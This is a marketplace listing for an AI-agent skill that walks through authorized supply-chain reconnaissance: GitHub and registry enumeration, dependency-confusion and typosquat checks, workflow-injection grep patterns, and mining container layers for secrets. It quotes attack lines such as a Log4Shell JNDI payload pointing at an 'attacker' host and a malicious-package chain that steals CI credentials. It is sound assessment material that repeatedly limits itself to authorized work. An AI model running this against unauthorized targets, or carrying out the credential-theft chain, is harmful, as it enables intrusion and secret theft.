mcpField
S
supply-chain-attack-recon

supply-chain-attack-recon

github.com/uphiago安全1.3k40 次安装8 周前更新
代码仓库

关于 supply-chain-attack-recon

面向授权外部安全评估的技能,用于梳理 GitHub、依赖元数据、CI 工作流、容器镜像和公共注册表中的供应链暴露。它强调以证据确认可利用性,并明确禁止未经授权发布恶意包或测试内部基础设施。

主要功能

  1. 01公共 GitHub 制品发现
  2. 02内部包名检查
  3. 03CI 工作流注入审查
  4. 04容器与 SBOM 暴露检查
  5. 05严重性与证据指引

适用场景

  1. 01评估公共仓库中的依赖混淆风险
  2. 02审查 GitHub Actions 注入路径
  3. 03检查已发布镜像和 SBOM 是否泄露敏感数据

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/uphiago/recon-skills --skill supply-chain-attack-recon

安装后在 Claude Code 中输入/supply-chain-attack-recon确认已加载。

详细介绍

适用场景

在以下情况触发:

  • 目标拥有公开的 GitHub 组织(通过 OSINT 查找)
  • JS bundle 引用了看起来像内部包的名称(@target-internal/...、target-utils、target-shared)
  • 构建日志、SBOM 或 package-lock.json 文件可公开访问
  • 目标使用部分公开的 CI/CD(GitHub Actions、GitLab CI、Bitrise)
  • Docker Hub/GHCR/Quay 上的 Docker 镜像属于目标组织
  • 发现项包含带有内部注册表 URL 的 npmrc/pip.conf/gradle.properties
  • .github/workflows/*.yml 文件引用了内部工具

请勿用于:

  • 内部网络中的制品注册表(根据外部边界规定,不在范围内)
  • 未经明确许可,实际发布拼写相似包或依赖混淆包
  • 入侵上游开源项目(影响范围极大——在大多数司法管辖区,未经授权均属违法)

供应链攻击面图谱

Target Org
├── Public GitHub Org → workflow files → secrets exfil opportunities
├── Internal package names in JS/Android bundles → dependency confusion
├── Docker images on public registries → secrets in layers, RCE on pull
├── SBOM / artifact metadata → exact dep versions for known-vuln chaining
├── npmrc / pip.conf in repos → internal registry URL disclosure
├── External package dependencies → typosquat name candidates
└── Build/release pipelines → injection if pull_request_target etc.

步骤 1 — 发现 GitHub 组织

TARGET="<brand>"  # set to target brand name

# Direct guesses
for guess in $TARGET "${TARGET}-tech" "${TARGET}corp" "${TARGET}-io" "${TARGET}-eng"; do
  curl --max-time 30 --connect-timeout 10 -sI "https://github.com/$guess" | grep -E "HTTP|status" | head -1
done

# Via WHOIS / email-domain → GitHub search
gh search users --owner-affiliations=organization --query "$TARGET" --limit 10

# Via employees → reverse from social media + GitHub profile
# Many employees list their employer org on their GitHub profile

步骤 2 — 枚举公开仓库中的敏感制品

ORG="targetorg"

# List public repos
gh repo list "$ORG" --limit 100 --json name,description,visibility,defaultBranchRef

# Look for high-signal repo names
gh repo list "$ORG" --limit 100 --json name | jq -r '.[].name' | grep -iE "internal|infra|deploy|config|secret|setup|sdk|api"

# Clone all (small org) or selectively
gh repo clone "$ORG/$repo_name"

步骤 3 — 发现内部包名

从 JS bundle 中发现
# JS bundles are the easiest source of internal npm names
curl --max-time 30 --connect-timeout 10 -sk https://target.com/main.js | grep -oE '@[a-z-]+/[a-z-]+' | sort -u
curl --max-time 30 --connect-timeout 10 -sk https://target.com/main.js | grep -oE 'require\("[^"]+"\)' | sort -u

# Look for scoped names that are NOT public on npm
for pkg in @target/utils @target-internal/api @companybrand/sdk; do
  status=$(curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/$pkg" | head -1 | awk '{print $2}')
  echo "  $pkg → $status"
  # 404 → name unclaimed on public npm → DEPENDENCY-CONFUSION CANDIDATE
done
从 GitHub 仓库的 package.json 文件中发现
# Public repos with package.json that reference internal scopes
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  pkg=$(gh api "repos/$ORG/$repo/contents/package.json" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
  echo "$pkg" | jq -r '.dependencies // {} | keys[]' 2>/dev/null | grep -E '^@[a-z-]+/'
done | sort -u
从 Python 项目中发现
# Internal pip package names
for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  gh api "repos/$ORG/$repo/contents/requirements.txt" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null
done | sort -u | grep -vE '^(requests|django|flask|numpy|pandas|...common)'

步骤 4 — 检查依赖混淆漏洞

对发现的每个看起来像内部包的名称:

NAME="@target-internal/utils"   # example

# npm check
curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/$NAME" | head -1
# 404 → name is registerable → DEPENDENCY-CONFUSION POSSIBLE

# pypi check (no scopes, just name)
NAME="target_utils"
curl --max-time 30 --connect-timeout 10 -sI "https://pypi.org/project/$NAME/" | head -1
# 404 → name is registerable

# rubygems
curl --max-time 30 --connect-timeout 10 -sI "https://rubygems.org/api/v1/gems/$NAME.json" | head -1

# Go modules — slightly different, since module names are URLs
# Check if module path is reachable
curl --max-time 30 --connect-timeout 10 -sI "https://proxy.golang.org/github.com/$ORG/$NAME/@latest" | head -1

严重性评估: 名称无人认领并不意味着它可被利用。你还需要:

  1. 有证据表明目标的构建系统会从公共注册表解析名称(而不仅仅是从其内部注册表解析)
  2. 或有证据表明目标的包管理器配置不安全(例如,.npmrc 中没有 @scope:registry= 映射)
  3. 或该包会由其构建流程安装(它确实在 package.json 中,而不只是被死代码引用)

如果注册表返回 404,但没有上下文佐证,则只能归为信息级。


步骤 5 — 拼写相似包候选项(针对外部依赖)

对目标使用的每个外部公共依赖:

# Common typosquat patterns:
# Original: "react-router-dom"
# Typos: 
#   "react-router-doms" (extra s)
#   "react-routter-dom" (double t)
#   "react-rotuer-dom" (transposed)
#   "react--router-dom" (double dash)
#   "react-router-dorn" (m→rn)
#   "reactrouterdom" (no dashes)

# Generate candidates
python3 -c "
import sys
name='react-router-dom'
for i in range(len(name)):
    print(name[:i] + name[i+1:])   # delete
    if i < len(name)-1:
        print(name[:i] + name[i+1] + name[i] + name[i+2:])  # transpose
"

# Check which candidates are UNCLAIMED on the registry
for candidate in ...; do
  status=$(curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/$candidate" | head -1 | awk '{print $2}')
  [ "$status" = "404" ] && echo "  UNCLAIMED: $candidate"
done

⚠ 外部攻击注意事项: 将拼写相似包发布到公共注册表,会攻击更广泛的软件生态。未经明确的书面许可且范围清晰,绝对不要这样做。此举可能影响参与项目范围之外的用户,也可能违法。


步骤 6 — 扫描 GitHub Actions 工作流注入

对于每个包含 .github/workflows/ 的公开仓库:

for repo in $(gh repo list "$ORG" --limit 50 --json name --jq '.[].name'); do
  workflows=$(gh api "repos/$ORG/$repo/contents/.github/workflows" --jq '.[].name' 2>/dev/null)
  for wf in $workflows; do
    content=$(gh api "repos/$ORG/$repo/contents/.github/workflows/$wf" --jq '.content' 2>/dev/null | base64 -d 2>/dev/null)
    echo "=== $repo/$wf ==="
    
    # High-risk patterns:
    # 1. pull_request_target (runs with secrets on PR from forks)
    echo "$content" | grep -E 'pull_request_target'
    
    # 2. Untrusted context interpolation
    echo "$content" | grep -E '\$\{\{[^}]*github\.(event|head_ref|pull_request)[^}]*\}\}'
    
    # 3. ${{ github.event.* }} into shell run blocks
    echo "$content" | grep -B1 -A2 'run:' | grep -E '\$\{\{ ?github\.event\.'
    
    # 4. checkout of PR head with elevated perms
    echo "$content" | grep -E 'ref:.*pull_request|head_ref'
    
    # 5. Self-hosted runner without isolation
    echo "$content" | grep -E 'runs-on:.*self-hosted'

    # 6. Unpinned third-party actions — mutable tag (@v1, @main) vs pinned (@<40-char sha>)
    #    Mutable tags can be repointed by a compromised action repo (see case #9, tj-actions/changed-files).
    echo "$content" | grep -E 'uses: *[^ ]+/[^ ]+@(v?[0-9]+([.][0-9]+)*|main|master|latest)\b' | grep -v '@[0-9a-f]\{40\}'
  done
done
需标记的注入模式(严重性指南)
模式严重性
pull_request_target + actions/checkout,并使用 ref: pull_request.head.sha + 使用仓库密钥严重 — 可在运行器上利用远程代码执行,获取组织密钥
${{ github.event.pull_request.title }} 插入 shell 命令严重 — 可通过 PR 标题注入脚本
第三方 Action 固定到可变标签(uses: org/repo@v1 / @main),而非提交 SHA高 — 可被重新指向的供应链攻击向量(见案例 #9)
可从公开仓库工作流访问的自托管运行器高 — 可作为攻击者的持久跳板
由 Issue 评论触发、并使用令牌运行 gh 的工作流高
工作流从目标控制的 URL 下载内容中

步骤 7 — 挖掘 Docker / 容器镜像注册表

# Docker Hub
curl --max-time 30 --connect-timeout 10 -s "https://hub.docker.com/v2/repositories/$ORG/?page_size=100" | jq -r '.results[].name'

# GHCR (GitHub Container Registry) — public images visible in repo packages tab
gh api "users/$ORG/packages?package_type=container" 2>/dev/null
gh api "orgs/$ORG/packages?package_type=container" 2>/dev/null

# For each image, list tags
for img in image1 image2; do
  curl --max-time 30 --connect-timeout 10 -s "https://hub.docker.com/v2/repositories/$ORG/$img/tags?page_size=20" | jq -r '.results[].name'
done

# Pull and inspect layers
docker pull "$ORG/$img:latest"
docker history --no-trunc "$ORG/$img:latest"

# Mine layers for secrets
docker save "$ORG/$img:latest" -o /tmp/image.tar
mkdir -p /tmp/img && tar -xf /tmp/image.tar -C /tmp/img
find /tmp/img -name "*.tar*" -exec tar -xf {} -C /tmp/img/extracted \;
# Then run gitleaks / trufflehog over extracted filesystem
trufflehog filesystem /tmp/img/extracted --no-update

步骤 8 — SBOM / 制品元数据泄露

# Look for SBOMs published as releases (SPDX, CycloneDX format)
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("sbom|cyclonedx|spdx"; "i")) | .browser_download_url'

# JSON dependency lockfiles in releases
gh api "repos/$ORG/$REPO/releases" --jq '.[] | .assets[] | select(.name | test("lock|deps"; "i")) | .browser_download_url'

# Exact-version-pinned deps → known-CVE chaining
# Compare versions to nuclei nvd templates or osv.dev for known vulns
curl --max-time 30 --connect-timeout 10 -s "https://api.osv.dev/v1/query" -d '{"package": {"name": "lodash", "ecosystem": "npm"}, "version": "4.17.10"}'

步骤 9 — 内部注册表 URL 泄露

# .npmrc patterns
grep -r "registry=" .                                            # in cloned repos
grep -r "_authToken=" .                                          # leaked npm token!
grep -r "@.*registry=" .                                          # scoped registry

# pip config
grep -r "extra-index-url" .
grep -r "index-url" .

# Gradle / Maven
grep -rE "(mavenCentral|maven\s*\{)" .
grep -r "url.*\(.*nexus" .

# Each leaked internal URL is intel — flag the URL itself even if not directly exploitable

步骤 10 — npm/PyPI 组织信息

# Some orgs maintain a public npm scope mirroring their brand
curl --max-time 30 --connect-timeout 10 -s "https://registry.npmjs.org/-/v1/search?text=scope:$ORG&size=50" | jq '.objects[].package.name'

# Public PyPI presence
curl --max-time 30 --connect-timeout 10 -s "https://pypi.org/simple/" | grep "$ORG" | head -20

# Check if scope is taken — if it's NOT, an attacker could register
# (relevant for any internal package using that scope)
curl --max-time 30 --connect-timeout 10 -sI "https://registry.npmjs.org/-/org/$ORG"

工具

工具用途
trufflehog扫描文件系统/git/docker 中的密钥
gitleaks扫描 Git 历史记录中的密钥
dependency-confusion (Confused)检查 npm scope/PyPI
packj包风险评分(PyPI/npm/RubyGems)
Lift / Snyk vuln-db根据包版本查询已知 CVE
actionlintGitHub Actions 静态分析器
OSSGadgetMicrosoft 的包元数据工具包
semgrep + 供应链规则检测工作流注入
osv-scanner将版本与已知漏洞匹配

严重性评级指南

发现严重性
内部包名 + 未设置作用域映射 + 在公共 npm 上无人认领 + 正在构建中使用严重 — 依赖混淆导致 RCE
内部包名 + 在 .npmrc 中设置了作用域映射,但 _authToken 已泄露严重 — 可直接推送到注册表
Pull_request_target 工作流 + 暴露机密 + 由 PR 控制的代码执行严重 — 组织范围的令牌窃取
Docker 镜像的某一层中包含泄露的机密高(视机密而定)
泄露内部注册表 URL(但没有凭据)低 — 仅信息泄露
发现疑似抢注候选项(尚未发布)信息级 — 提醒事项
公共组织下有 1000+ 个未使用且可能被认领的名称信息级 — 卫生问题

反模式

  • 未经明确、签署且界定清楚的授权,切勿发布抢注包或依赖混淆包 — 这会影响参与测试范围之外的用户
  • 未经明确许可,切勿在测试期间向客户端代码库提交 PR — 可能需要工作流注入 PoC,但这会影响 CI/CD 和其他开发者
  • 切勿抓取整个 npm/PyPI 来寻找疑似抢注候选项 — 这不负责任且会产生大量噪声
  • 切勿把“名称无人认领”误认为“存在可利用的依赖混淆” — 关键在于构建系统;许多组织使用恰当的作用域映射来阻止此类攻击
  • 切勿接触 GitHub Actions 自托管运行器 — 它们可能位于客户端网络内,超出外部测试范围
  • 切勿盲目拉取大型 Docker 镜像 — 镜像可能有 5-50GB;应先检查标签

可作为交付成果的发现应包含什么

供应链问题的发现必须包含以下全部内容:

  1. 具体名称/路径 — 确切的内部包名、工作流文件路径、镜像标签
  2. 漏洞机制 — 依赖混淆 / 抢注 / 注入等
  3. 可利用性证据 — 证明构建/安装过程确实会使用攻击者的载荷(而不只是“名称无人认领”)
  4. 严重性 — 根据影响范围评定(影响一名开发者?所有开发者?该包的所有用户?)
  5. 建议 — 具体明确(例如:“即使未使用,也应在 npm 上将未使用的名称 @target-internal/utils 注册为自己的包;配置 .npmrc 作用域到注册表的映射”)

与相邻技能的衔接

  • apk-redteam-pipeline — APK 也会暴露内部包名(在反编译后的 build.gradle 中查找)
  • cloud-iam-deep — CI/CD 机密通常就是云凭据;本技能负责发现它们,该技能负责验证它们
  • hunt-cloud-misconfig — CI/CD 流水线配置错误(Jenkins / GitLab Runner)有交集
  • m365-entra-attack — Azure DevOps 流水线属于 Entra 攻击面的一部分
  • redteam-report-template — 供应链问题的发现需要更清晰地说明影响范围(一个代码库还是整个生态系统)
  • mid-engagement-ir-detection — 在公共 npm 上注册名称不会触发客户端内部的任何操作,但任何发布操作都会引人注意并留下审计记录

仅限外部的范围检查

本技能完全面向外部——所有目标都是公共注册表 / 公共 GitHub。如果测试涉及客户端的内部制品注册表(内部 Nexus、JFrog、Sonatype),那属于内部基础设施,根据 feedback_skill_boundaries 不在范围内。将内部注册表 URL 暴露报告为一项发现;不要尝试枚举该注册表。


真实案例参考

  • Alex Birsan 2021 — 最初的依赖混淆研究,从 Apple/Microsoft/PayPal/Yelp 等公司获得了超过 $130K 的漏洞赏金
  • ua-parser-js 2021 — npm 包因维护者凭据被盗而遭到入侵
  • node-ipc 2022 — 维护者引入了带有恶意内容的供应链更新
  • 3CX 2023 — 通过 X_TRADER → 3CX → 客户传播的级联供应链攻击
  • XZ Utils 2024 — 针对上游 OSS 的多年社交工程供应链攻击

值得逐一阅读这些案例,了解攻击为何奏效,以及此前有哪些危险信号。


已披露案例目录(引用)

以下十二个文档完善的公开案例,对应上述侦察面。每个条目包括:攻击名称、年份、攻击流程、根本原因、影响、参考资料,以及侦察技能要点。

1. SolarWinds Orion / SUNBURST(CISA AA20-352A,2020 年 12 月)
2. 3CX VoIP 软电话供应链事件(CVE-2023-29059,2023 年 3 月)
3. MOVEit Transfer 大规模攻击(CVE-2023-34362,2023 年 5 月至 7 月)
4. Codecov bash 上传器遭入侵(2021 年 4 月)
  • 攻击流程: 攻击者利用镜像创建流程中的凭证错误,获取了 Codecov Docker 镜像构建流程的访问权限,随后修改 Bash Uploader 脚本(https://codecov.io/bash),将环境变量外传至第三方 IP。该修改从 2021 年 1 月 31 日持续到 2021 年 4 月 1 日,直到一位客户发现 SHA-256 不匹配才被检测到,历时两个月。
  • 根本原因: Docker 镜像构建过程泄露了可用于修改所提供 bash 脚本的凭证;客户侧未验证完整性(没有固定并签名的哈希值)。
  • 影响: 全球所有 CI 流程中,在两个月内执行 curl --max-time 30 --connect-timeout 10 -s https://codecov.io/bash | bash 的任务都外传了环境变量。已确认的下游受害者包括:HashiCorp(轮换了 GPG 密钥)、Twilio、Rapid7(部分源代码暴露)、Mercari、Confluent、Atlassian。
  • 参考资料:
  • 侦察要点: 公开 CI 工作流中的“curl-bash 安装”模式对这项侦察技能极具价值——在 .github/workflows/ 中搜索 curl ... | bash、wget ... | sh、iwr ... | iex。任何被传入 shell 的第三方 URL 都可能造成供应链级别的影响。工作流中固定 SHA 可降低风险;未固定则属于发现项。
5. ua-parser-js npm 劫持(2021 年 10 月)
  • **攻击流程:**攻击者通过网络钓鱼/凭据填充攻破维护者的 npm 账户,并发布了 ua-parser-js 的 0.7.29、0.8.0 和 1.0.0 版本(每周下载量约 700 万次,间接影响 Facebook、Microsoft、Amazon 和 IBM)。恶意版本运行了一个 preinstall 钩子,用于下载加密货币挖矿程序和 Windows 密码窃取程序(Jason 凭据窃取程序)。
  • **根本原因:**维护者的 npm 账户未启用双重身份验证(2FA),凭据也较弱;当时 npm 未强制高价值发布者启用 2FA。
  • **影响:**这些软件包在下架前存活了约 4 小时,但在此期间有数万次安装。CISA 发布了紧急警报——这是 CISA 首次针对 npm 软件包遭入侵发出警告。
  • 参考资料:
  • **侦察启示:**按软件包下载量找出目标的 npm/PyPI 前 30 名维护者,然后检查他们的账户是否启用了 2FA(npm 可通过 npm profile get 查看组织成员的相关信息,注册表 API 也会部分公开这些信息)。侦察结果示例:“根据公开的注册表数据,这 4 位维护者掌管着安装量达 X 的软件包,且未启用 2FA。”
6. event-stream npm 软件包(2018 年 11 月)
  • **攻击流程:**原维护者 Dominic Tarr(已不再使用该模块)将 event-stream(每周下载量约 200 万次)交给一位名为 “right9ctrl” 的新贡献者维护,对方主动提出接手维护。新维护者将 flatmap-stream 加为依赖项,随后推送了一个含有攻击载荷的 flatmap-stream 更新,目标是 Copay 比特币钱包的构建过程——从任何 Copay 用户那里窃取 BTC/BCH 钱包助记词。
  • **根本原因:**攻击者通过社交工程促成维护权移交;无人审核接手关键软件包的新贡献者。只有当 event-stream 被打包进 Copay 钱包时,恶意依赖项才会触发(针对特定构建环境)。
  • **影响:**Copay 钱包用户的密钥遭窃;具体经济损失从未公开披露。此事件促使 npm 全面推动启用 2FA,并出台“热门软件包需要额外审核”的政策。
  • 参考资料:
  • **侦察启示:**检查目标所依赖软件包的 npm view <pkg> maintainers 输出和近期维护者变更。下载量超过 10 万的软件包若在过去 90 天内更换过维护者,就是一个黄色警示。此外,按构建环境定向投放攻击载荷(仅在打包进特定应用时触发)很难检测——静态扫描器会漏掉它。
7. PHP Git 服务遭入侵(2021 年 3 月)
  • **攻击流程:**攻击者向 git.php.net 上的官方 php-src Git 仓库推送了两次恶意提交,提交签名显示为 Rasmus Lerdorf 和 Nikita Popov。这些提交加入了一个 Zend 后门,可执行来自 User-Agentt HTTP 标头的代码(注意末尾有两个 t)。
  • **根本原因:**可自托管的 Git 服务(基于 Gitolite 的 git.php.net)存在凭据/身份验证漏洞——可能与用户数据库泄露后密码以明文存储有关。此事件后,PHP 团队将 GitHub 迁移为权威源码库。
  • **影响:**后门提交在数小时内被发现,从未随正式版本发布。但这是“可自托管的事实来源=单点故障”的典型案例。
  • 参考资料:
  • **侦察要点:**使用可自托管 Git 的目标(Gitea、Gitolite、Phabricator、Bitbucket Server)比使用 GitHub 托管的目标风险更高。侦察时应识别 Git 服务软件、检查默认凭据,并留意来自异常 IP 的 SSH 密钥推送(可从提交元数据中查看)。
8. Log4Shell(CVE-2021-44228,2021 年 12 月)
  • **攻击流程:**这本身并非供应链攻击,但它是“你不知道依赖树中包含什么”的典型事件。Apache Log4j 2.x 中的 JNDI 查找功能允许攻击者通过任何被记录的字符串(例如 ${jndi:ldap://attacker/...})远程执行代码。由于数千款 Java 应用会间接引入 Log4j,数亿个系统因此易受攻击。
  • **根本原因:**2013 年发布的默认不安全功能(MessageLookup 替换);层层嵌套的传递依赖使清点和修补几乎不可能。
  • **影响:**CISA 局长 Jen Easterly 称之为“十年来最严重的漏洞”。所有主流云平台、所有 Apache 产品、所有 Java 企业级技术栈均受影响。Conti、Khonsari 勒索软件和国家级攻击者仍在持续大规模利用该漏洞。
  • 参考资料:
  • **侦察要点:**软件物料清单(SBOM)是解决之道。侦察技能的第 8 步(SBOM 挖掘)在此大有用处——从公开发布制品中提取 SPDX/CycloneDX,可获得精确的传递依赖版本,再将其映射到 OSV/NVD,以查找已知 CVE。大多数组织都低估了依赖树的深度。
9. tj-actions/changed-files GitHub Action 遭入侵(CVE-2025-30066,2025 年 3 月)
10. PyPI 拼写抢注(colourama、python3-dateutil、jeIlyfish 等)
  • **攻击流程:**攻击者在 PyPI 上注册名称与热门软件包视觉上或拼写上相似的软件包——用 colourama 仿冒 colorama,用 python3-dateutil 仿冒 python-dateutil,用 jeIlyfish(用大写 I 替代 L)仿冒 jellyfish。这些软件包都包含 setup.py 安装后钩子,用于窃取 SSH 密钥、GPG 密钥、GitHub 令牌,或安装针对 ~/.bitcoin/wallet.dat 的加密货币窃取程序。
  • **根本原因:**PyPI 允许使用视觉上易混淆的名称;pip 按完全匹配的字符串解析名称。发布新软件包时没有人工审核环节。
  • **影响:**每次活动在被下架前的安装量通常不到 10K,但 jeIlyfish 存活了 1 年(2018 年 12 月至 2019 年 12 月)。累计来看,Snyk/Phylum/Sonatype/ReversingLabs 每年都会记录数十起此类活动。
  • 参考资料:
  • **侦察要点:**该技能的 Step 5(生成拼写抢注候选项)与此直接相关。在外部侦察中,你只需列出拼写抢注候选名称——未经明确授权,绝不发布。交付内容应为:“你的主要依赖项中有 17 个拼写抢注变体目前尚未被注册;建议进行防御性注册。”
11. Alex Birsan 依赖混淆披露(2021 年 2 月)
  • **攻击流程:**Birsan 从泄露的 package.json 文件(这些文件公开缓存于 archive.org、意外公开的 GitHub 仓库和 JS bundle 中)提取了 Apple、Microsoft、PayPal、Shopify、Uber、Tesla、Yelp 等约 35 家公司的内部 npm scope 名称。他在公共 npm/PyPI/RubyGems 上发布了使用这些内部名称且 semver 更高的包。随后,大多数公司的构建系统优先解析了公共包而非内部包,并执行了他仅用于遥测的载荷。
  • **根本原因:**包管理器(npm、pip、gem)默认采用“无论注册表为何,版本最高者胜出”的规则。内部包名称泄露到了外部来源。没有强制执行 scope 与注册表的绑定。
  • **影响:**漏洞赏金超过 13 万美元(2021 年跨多个项目中已知最高的单个研究员奖金);催生了整个“依赖混淆”攻击类别;npm/PyPI/Microsoft Azure Artifacts 均发布了缓解措施。
  • 参考资料:
  • **侦察启示:**这是本技能第 3 步和第 4 步的奠基性参考。通过 JS bundle 发现内部 scope 是典型的侦察路径。注意 Birsan 对严重性的判断:“名称尚未被占用”这一点本身,在大多数目标中就足够了,因为它们的构建会使用 npm install,并通过配置回退到公共 npm——但本技能的严重性表也正确指出,这并非普遍情况。
12. XZ Utils(CVE-2024-3094,2024 年 3 月)
  • 攻击流程:“Jia Tan”(JiaT75)在 2 年多时间里通过社会工程手段操纵了 xz-utils(几乎所有 Linux 发行版都会使用的上游 OSS 压缩库)的维护者。获得共同维护者身份后,他们在 liblzma 构建流程中植入了多阶段后门,并将其混入测试夹具中进行混淆;该后门会利用 OpenSSH 的 systemd-notify 集成劫持 SSH 身份验证。
  • **根本原因:**单人维护的 OSS 项目维护者倦怠,加上国家级耐心(Operation J/疑似 APT)。Andres Freund 在基准测试期间注意到 SSH 延迟了 500 毫秒,因此后门在主要发行版发布前就被发现了(只有 Fedora Rawhide 和 Debian unstable 曾短暂包含该后门)。
  • **影响:**在大规模部署前被发现,险些酿成事故。促使整个行业重新评估“由单人维护的关键 OSS”所带来的风险。CISA、NIST、OpenSSF 均发布了事后分析。
  • 参考资料:
  • **侦察启示:**这是外部侦察最难处理的情况——多年来通过社会工程手段操纵维护者,几乎不会留下外部迹象。不过,对 GitHub 提交历史的分析(关注关键库中获得提交权限的新贡献者、添加混淆测试夹具的提交、仅在发布时执行的构建变更),正是 Andres Freund 实际采取的做法。本技能的第 2 步(枚举公开仓库)可以扩展为“监控低历史记录账号获得高信任权限的情况”。
覆盖映射:案例 → recon 技能步骤
技能步骤代表案例
步骤 1 — GitHub 组织发现Birsan 2021、XZ 2024
步骤 2 — 公开仓库工件挖掘Codecov 2021、XZ 2024、PHP 2021
步骤 3 — 内部包名发现Birsan 2021
步骤 4 — 依赖混淆检查Birsan 2021、ua-parser-js 2021
步骤 5 — 拼写劫持候选项PyPI colourama/jeIlyfish、event-stream 2018
步骤 6 — GitHub Actions 工作流注入tj-actions/changed-files 2025、Codecov 2021
步骤 7 — Docker/容器注册表挖掘Codecov 2021、3CX 2023
步骤 8 — SBOM / 工件元数据Log4Shell 2021、MOVEit 2023
步骤 9 — 内部注册表 URL 泄露Birsan 2021、SolarWinds 2020
步骤 10 — npm/PyPI 组织存在性检查ua-parser-js 2021、event-stream 2018
这 12 个案例的共同模式
  • 代码签名并不能保护你——SolarWinds、3CX、ua-parser-js 都曾发布过带有合法签名的恶意代码。
  • 固定到可变引用是反复出现的问题——curl | bash(Codecov)、@v35 操作标签(tj-actions)、^1.0.0 semver(Birsan、event-stream)。
  • 对 npm/PyPI 生态而言,维护者账户遭入侵的影响大于技术性 CVE——12 个案例中有 6 个属于此类。
  • 供应链级联已成常态——3CX 源自 X_TRADER;Codecov → HashiCorp → HashiCorp 的下游用户。从概念上讲,应假定目标供应商的供应商也在范围内。
  • CI 运行器是价值最高的立足点——所有攻击者代码在 CI 运行器上执行的案例,都导致云端、GitHub 或机密信息被大规模获取。

验证

  1. 依赖扫描——确认工具可用性:
    which npm-audit 2>/dev/null || which npm 2>/dev/null && echo "PASS: npm available" || echo "NOTE: npm not installed"
    pip3 show pip-audit 2>/dev/null | grep -q "Name:" && echo "PASS: pip-audit installed" || echo "NOTE: pip-audit not installed"
    

所有测试都会验证供应链就绪情况。


注意事项

  • 假定所有第三方依赖都在范围内——请检查漏洞赏金计划的范围。第三方服务(Zendesk、Intercom、statuspage)通常不在范围内。
  • 依赖版本没有 CVE——仅知道库版本,但没有与之匹配的可利用 CVE,属于信息性发现。
  • 没有证据就报告 npm/pip 包拼写劫持——证明存在被拼写劫持的包,并不能证明目标正在使用它。需要提供 package.json/requirements.txt 证据。
  • CI/CD 供应链与运行时供应链——投毒构建时依赖和运行时依赖的影响不同。请加以区分。
  • 将供应商邮箱遭入侵视为供应链攻击——入侵供应商邮箱以发送恶意更新,与代码依赖攻击不同。两者都属于供应链攻击,但 TTP 不同。

相关技能与链路

  • hunt-rce — 依赖混淆会在安装该包的任何运行器上造成 RCE;CI 运行器是价值最高的目标。链路原语:内部包名泄露在公开的 JS 包、SBOM 或 Docker 镜像中 → 在公共 npm/PyPI 上以相同名称发布更高版本的恶意包 → CI 运行器上的下一次 npm install / pip install 在 preinstall 钩子中执行攻击者代码 → 使用 hunt-rce 进行立足后的操作(提取环境变量可获取 AWS 密钥、GitHub PAT 和 Slack 令牌)→ 接管 CI 平面。
  • cloud-iam-deep — CI 运行器持有 IAM 凭据;在此处实施供应链 RCE 能大量窃取凭据。链路原语:恶意包在 GitHub Actions 运行器上执行 → 从环境变量中读取 $AWS_ACCESS_KEY_ID / $GITHUB_TOKEN → 使用 cloud-iam-deep 进行枚举 → IAM 权限提升链路 → 访问生产环境云平面。
  • offensive-osint — 侦察方法有大量重叠;SBOM、JS 包、GitHub 组织枚举和 Docker 注册表标签都涉及两者。链路原语:通过 offensive-osint 进行 GitHub 组织侦察,找到 CI 工作流中引用的内部包名 → 使用 supply-chain-attack-recon 将这些包名与公共 npm/PyPI 交叉比对,查找拼写仿冒/混淆候选项。
  • hunt-cloud-misconfig — 容器注册表(Docker Hub、GHCR、ECR public)经常意外暴露私有镜像。链路原语:SBOM 挖掘发现引用了 internal-tools-v2:latest → 检查 Docker Hub 上是否有意外公开的镜像副本 → 使用 hunt-cloud-misconfig 枚举注册表 → 拉取镜像 → 提取镜像层中嵌入的机密。
  • triage-validation + redteam-report-template — 供应链侦察在范围内;实际发布属于外部攻击活动,需要明确的书面批准。链路原语:整理出仅用于侦察的候选项列表 → 使用 triage-validation 的 7 项问题关卡进行审核(尤其是:“我能否在不发布的情况下证明影响?”)→ 通过 redteam-report-template 将其作为“依赖混淆候选项清单 + 复现步骤”报告,除非客户已书面批准,否则绝不提交已发布包的概念验证。

评论

支持 Markdown